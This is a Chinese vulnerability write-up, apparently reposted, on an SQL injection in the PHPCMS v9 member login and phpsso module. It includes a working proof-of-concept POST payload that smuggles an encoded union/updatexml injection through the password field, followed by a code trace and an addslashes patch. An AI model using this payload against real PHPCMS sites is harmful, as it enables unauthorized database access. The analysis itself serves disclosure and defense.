PHPCMS \phpcms\modules\member\index.php 用戶登陸SQL注入漏洞分析


catalog

1. 漏洞描述
2. 漏洞觸發條件
3. 漏洞影響范圍
4. 漏洞代碼分析
5. 防御方法
6. 攻防思考

 

1. 漏洞描述
2. 漏洞觸發條件

0x1: POC

http://localhost/phpcms_v9/index.php?m=member&c=index&a=login

dosubmit=1&username=phpcms&password=123456%26username%3d%2527%2bunion%2bselect%2b%25272%2527%252c%2527test%255c%2527%252cupdatexml(1%252cconcat(0x5e24%252c(select%2buser())%252c0x5e24)%252c1)%252c%255c%2527123456%255c%2527%252c%255c%2527%255c%2527%252c%255c%2527%255c%2527%252c%255c%2527%255c%2527%252c%255c%2527%255c%2527%252c%255c%2527%255c%2527%252c%255c%25272%255c%2527%252c%255c%252710%255c%2527)%252c(%255c%25272%255c%2527%252c%255c%2527test%2527%252c%25275f1d7a84db00d2fce00b31a7fc73224f%2527%252c%2527123456%2527%252cnull%252cnull%252cnull%252cnull%252cnull%252cnull%252cnull%252cnull%252cnull%2523
//驗證時可以手工填寫驗證碼、或者把代碼中的驗證碼驗證邏輯臨時注釋掉

將"&username="進行url編碼后作為password的值用於在phpsso中覆蓋之前的username值,在"&username="后面添加進行兩次url編碼的SQL語句


3. 漏洞影響范圍
4. 漏洞代碼分析

\phpsso_server\phpcms\modules\phpsso\classes\phpsso.class.php

if(isset($_POST['data'])) 
        {
            /*
            將getapplist()結果賦值給$_POST['data'],在auth_key解碼之后使用parse_str解析成數組格式
            這段代碼如果在php5.3之前的情況下是沒有問題的,因為默認情況下parse_str會啟動gpc機制對特殊字符進行轉義
            但是在php5.3之后gpc機制默認就關閉掉了,這就導致如果解析出來的內容如果帶有單引號這類個特殊字符,就原封不動的放到的變量中,這導致了注入的風險
            */
            parse_str(sys_auth($_POST['data'], 'DECODE', $this->applist[$this->appid]['authkey']), $this->data);
                    
            if(empty($this->data) || !is_array($this->data)) {
                exit('0');
            }
        } 
        else 
        {
            exit('0');
        }

繼續跟進login行為的代碼
\phpsso_server\phpcms\modules\phpsso\index.php

public function login() 
    {
        //$this->data的內容沒有經過任何處理就直接參數到數據庫查詢當中,如果我們有auth_key的話,完全可以構造帶有惡意的內容提交造成SQL注入漏洞
        $this->password = isset($this->data['password']) ? $this->data['password'] : '';
        $this->email = isset($this->data['email']) ? $this->data['email'] : '';
        if($this->email) {
            $userinfo = $this->db->get_one(array('email'=>$this->email));
        } else {
            $userinfo = $this->db->get_one(array('username'=>$this->username));
        }

要直接利用login邏輯進行SQL注入,需要黑客有auth_key,phpcms auth_key泄漏的漏洞相關知識,請參閱另一篇文章

http://www.cnblogs.com/LittleHann/p/4624198.html

我們繼續討論黑客沒有auth_key的情況,我們繼續分析
\phpcms\modules\member\index.php
中的login方法

//username使用的is_username進行了過濾而password沒有做任何處理
            $username = isset($_POST['username']) && is_username($_POST['username']) ? trim($_POST['username']) : showmessage(L('username_empty'), HTTP_REFERER);
            $password = isset($_POST['password']) && trim($_POST['password']) ? trim($_POST['password']) : showmessage(L('password_empty'), HTTP_REFERER);
            $cookietime = intval($_POST['cookietime']);
            $synloginstr = ''; //同步登陸js代碼
            
            if(pc_base::load_config('system', 'phpsso')) 
            {
                $this->_init_phpsso();
                //通過client的ps_member_login方法傳入$username、$password獲取一段數據
                $status = $this->client->ps_member_login($username, $password);
                $memberinfo = unserialize($status);

繼續跟進ps_member_login
\phpcms\modules\member\classes\client.class.php

    public function ps_member_login($username, $password, $isemail=0) 
    {
        if($isemail) {
            if(!$this->_is_email($username)) {
                return -3;
            }
            $return = $this->_ps_send('login', array('email'=>$username, 'password'=>$password));
        } else {
            $return = $this->_ps_send('login', array('username'=>$username, 'password'=>$password));
        }
        return $return;
    }

    /**
     * 發送數據
     * @param $action 操作
     * @param $data 數據
     */
    private function _ps_send($action, $data = null) 
    {
        //_ps_post這個方法向phpsso機制的請求login行為,即member的認證本質是通過phpsso來完成的,同時而phpsso的認證數據是需要auth_key編碼的
         return $this->_ps_post($this->ps_api_url."/index.php?m=phpsso&c=index&a=".$action, 500000, $this->auth_data($data));
    }

攻擊向量

1. 登錄用戶提交用戶名和密碼給menber的login
2. 然后member的login通過ps_member_login構造發送phpsso請求login驗證的http包,並且將用戶名和密碼使用auth_key進行編碼,作為http包的post數據
3. phpsso認證完成后,將用戶的信息返回給member的login進行后續處理 
4. 在整個認證過程中,password沒有做任何處理就直接傳入phpsso,phpsso沒有對於解碼數據進行過濾,造成phpsso SQL注入問題


5. 防御方法

針對phpsso模塊添加過濾代碼,最好的方式應該是將轉義和過濾放在數據庫操作的前一步,這樣可以極有效緩解SQL注入帶來的問題
\phpcms\modules\member\index.php

$username = isset($_POST['username']) && is_username($_POST['username']) ? trim($_POST['username']) : showmessage(L('username_empty'), HTTP_REFERER);
//$password = isset($_POST['password']) && trim($_POST['password']) ? trim($_POST['password']) : showmessage(L('password_empty'), HTTP_REFERER);
/* 過濾、轉義 */
$password = isset($_POST['password']) && trim($_POST['password']) ? addslashes(urldecode(trim($_POST['password']))) : showmessage(L('password_empty'), HTTP_REFERER);
/**/

Relevant Link:

http://www.tang3.org/blog/2015/07/21/PHPCMS用戶登陸SQL注入漏洞分析/


6. 攻防思考

Copyright (c) 2015 Little5ann All rights reserved

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM